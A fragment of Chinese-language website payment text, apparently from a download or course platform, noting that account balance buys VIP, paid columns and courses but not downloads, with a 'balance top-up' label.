2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值